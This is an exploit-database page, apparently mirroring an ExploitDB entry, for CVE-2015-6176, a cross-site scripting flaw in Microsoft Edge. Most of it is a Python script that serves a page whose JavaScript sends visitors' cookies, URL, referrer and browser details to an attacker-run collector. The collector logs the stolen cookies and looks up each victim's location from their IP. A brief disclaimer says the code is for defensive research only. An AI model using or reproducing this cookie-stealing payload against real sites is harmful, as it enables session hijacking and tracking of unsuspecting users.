Aller au contenu
Appaloosa Scout
Sélection de la langue
fr en

Exploit matérialisé

CVE-2015-6176

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

Fiche CVE Tous les exploits
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB remote windows
Source

Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)

Par nu11secur1ty

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

Code txt 

# Titles: Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
# Author: nu11secur1ty
# Date: 2025-07-18
# Vendor: Microsoft
# Software: Microsoft Edge Browser
# Reference: https://www.cve.org/CVERecord?id=CVE-2015-6176

#!/usr/bin/python
# nu11secur1ty CVE-2015-6176

import http.server
import socketserver
import socket
import threading
from urllib import parse
import requests
import datetime

PORT = 8080
COLLECTOR_PORT = 9000

# HTML page with extended XSS exploit that sends lots of info via Image GET
to collector
HTML_CONTENT = b\\\"\\\"\\\"<!DOCTYPE html>
<html lang=\\\"en\\\">
<head>
<meta charset=\\\"UTF-8\\\" />
<title>XSS Edge Bypass PoC</title>
<script>
window.onload = function() {
    try {
        var attackerServer = \\\"http://{LOCAL_IP}:{COLLECTOR_PORT}/collect\\\";
        var cookies = document.cookie || \\\"\\\";
        var url = window.location.href;
        var referrer = document.referrer;
        var language = navigator.language || \\\"\\\";
        var platform = navigator.platform || \\\"\\\";
        var timezone = Intl.DateTimeFormat().resolvedOptions().timeZone ||
\\\"\\\";
        var screenRes = screen.width + \\\"x\\\" + screen.height;

        var data = {
            cookie: cookies,
            url: url,
            referrer: referrer,
            language: language,
            platform: platform,
            timezone: timezone,
            screen: screenRes
        };

        var query = Object.keys(data).map(function(k) {
            return encodeURIComponent(k) + \\\"=\\\" +
encodeURIComponent(data[k]);
        }).join(\\\"&\\\");

        var img = new Image();
        img.src = attackerServer + \\\"?\\\" + query;
    } catch(e) {
        console.error(\\\"Error sending data:\\\", e);
    }
};
</script>
</head>
<body>
<h1 style=\\\"color:red;\\\">XSS Edge Bypass PoC</h1>
<p>If this alert appears, XSS is executed.</p>
</body>
</html>
\\\"\\\"\\\"

# Collector page with large sea picture and centered message (Unicode
allowed)
COLLECTOR_PAGE = \\\"\\\"\\\"<!DOCTYPE html>
<html lang=\\\"en\\\">
<head>
<meta charset=\\\"UTF-8\\\" />
<title>Collected</title>
<style>
  body {
    margin: 0;
    background: url(\\\'
https://images.unsplash.com/photo-1506744038136-46273834b3fb?auto=format&fit=crop&w=1350&q=80\\\')
no-repeat center center fixed;
    background-size: cover;
    height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
    color: white;
    font-family: Arial, sans-serif;
    font-size: 2em;
    text-shadow: 2px 2px 5px rgba(0,0,0,0.7);
  }
</style>
</head>
<body>
<div>Thank you for visiting the collector page </div>
</body>
</html>
\\\"\\\"\\\"

class ExploitHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path in (\\\'/\\\', \\\'/index.html\\\'):
            content = HTML_CONTENT.replace(b\\\"{LOCAL_IP}\\\",
local_ip.encode()).replace(b\\\"{COLLECTOR_PORT}\\\",
str(COLLECTOR_PORT).encode())
            self.send_response(200)
            self.send_header(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\")
            self.send_header(\\\"Content-Length\\\", str(len(content)))
            self.end_headers()
            self.wfile.write(content)
        else:
            self.send_error(404)

class CollectorHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = parse.urlparse(self.path)
        if parsed_path.path == \\\"/collect\\\":
            query = parse.parse_qs(parsed_path.query)

            cookie = query.get(\\\"cookie\\\", [\\\"\\\"])[0]
            url = query.get(\\\"url\\\", [\\\"\\\"])[0]
            referrer = query.get(\\\"referrer\\\", [\\\"\\\"])[0]
            language = query.get(\\\"language\\\", [\\\"\\\"])[0]
            platform = query.get(\\\"platform\\\", [\\\"\\\"])[0]
            timezone = query.get(\\\"timezone\\\", [\\\"\\\"])[0]
            screen = query.get(\\\"screen\\\", [\\\"\\\"])[0]

            ip = self.client_address[0]
            user_agent = self.headers.get(\\\"User-Agent\\\", \\\"Unknown\\\")
            timestamp = datetime.datetime.now().strftime(\\\"%Y-%m-%d
%H:%M:%S\\\")

            location = self.get_location(ip)

            if cookie:
                print(f\\\"[{timestamp}] [+] Collected cookie: {cookie}\\\")
            print(f\\\"    URL: {url}\\\")
            print(f\\\"    Referrer: {referrer}\\\")
            print(f\\\"    Language: {language}\\\")
            print(f\\\"    Platform: {platform}\\\")
            print(f\\\"    Timezone: {timezone}\\\")
            print(f\\\"    Screen Resolution: {screen}\\\")
            print(f\\\"    From IP: {ip}\\\")
            print(f\\\"    User-Agent: {user_agent}\\\")
            print(f\\\"    Location: {location}\\\")
            print(\\\"-\\\" * 50)

            # Save collected info to a file
            with open(\\\"collected_data.log\\\", \\\"a\\\", encoding=\\\"utf-8\\\") as f:
                f.write(f\\\"[{timestamp}] Cookie: {cookie}\\\\n\\\")
                f.write(f\\\"    URL: {url}\\\\n\\\")
                f.write(f\\\"    Referrer: {referrer}\\\\n\\\")
                f.write(f\\\"    Language: {language}\\\\n\\\")
                f.write(f\\\"    Platform: {platform}\\\\n\\\")
                f.write(f\\\"    Timezone: {timezone}\\\\n\\\")
                f.write(f\\\"    Screen Resolution: {screen}\\\\n\\\")
                f.write(f\\\"    IP: {ip}\\\\n\\\")
                f.write(f\\\"    User-Agent: {user_agent}\\\\n\\\")
                f.write(f\\\"    Location: {location}\\\\n\\\")
                f.write(\\\"-\\\" * 50 + \\\"\\\\n\\\")

            self.send_response(200)
            self.send_header(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\")
            content = COLLECTOR_PAGE.encode(\\\'utf-8\\\')
            self.send_header(\\\"Content-Length\\\", str(len(content)))
            self.end_headers()
            self.wfile.write(content)
        else:
            self.send_error(404)

    def get_location(self, ip):
        # Use free IP info service; fallback gracefully if no internet
        try:
            resp = requests.get(f\\\"https://ipinfo.io/{ip}/json\\\", timeout=3)
            if resp.status_code == 200:
                data = resp.json()
                city = data.get(\\\"city\\\", \\\"\\\")
                region = data.get(\\\"region\\\", \\\"\\\")
                country = data.get(\\\"country\\\", \\\"\\\")
                loc = data.get(\\\"loc\\\", \\\"\\\")
                return f\\\"{city}, {region}, {country} (coords: {loc})\\\"
        except Exception:
            pass
        return \\\"Location lookup failed or unavailable\\\"

def get_local_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect((\\\"8.8.8.8\\\", 80))
        ip = s.getsockname()[0]
    except Exception:
        ip = \\\"127.0.0.1\\\"
    finally:
        s.close()
    return ip

def run_exploit_server():
    with socketserver.TCPServer((\\\"\\\", PORT), ExploitHandler) as httpd:
        print(f\\\"[*] Exploit server running at: http://
{local_ip}:{PORT}/index.html\\\")
        httpd.serve_forever()

def run_collector_server():
    with socketserver.TCPServer((\\\"\\\", COLLECTOR_PORT), CollectorHandler) as
httpd:
        print(f\\\"[*] Collector server listening for stolen cookies at:
http://{local_ip}:{COLLECTOR_PORT}/collect\\\")
        httpd.serve_forever()

if __name__ == \\\"__main__\\\":
    local_ip = get_local_ip()
    try:
        print(f\\\"[*] Your server IP is: {local_ip}\\\")
        exploit_thread = threading.Thread(target=run_exploit_server,
daemon=True)
        exploit_thread.start()

        run_collector_server()
    except KeyboardInterrupt:
        print(\\\"\\\\n[!] Shutting down servers. Goodbye!\\\")

```

# Video:
[href](https://www.youtube.com/watch?v=T2YLrFsvXOc)

# Source:
[href](
https://github.com/nu11secur1ty/CVE-mitre/tree/main/2025/CVE-2015-6176)

# Buy me a coffee if you are not ashamed:
[href](https://www.paypal.com/donate/?hosted_button_id=ZPQZT5XMC5RFY)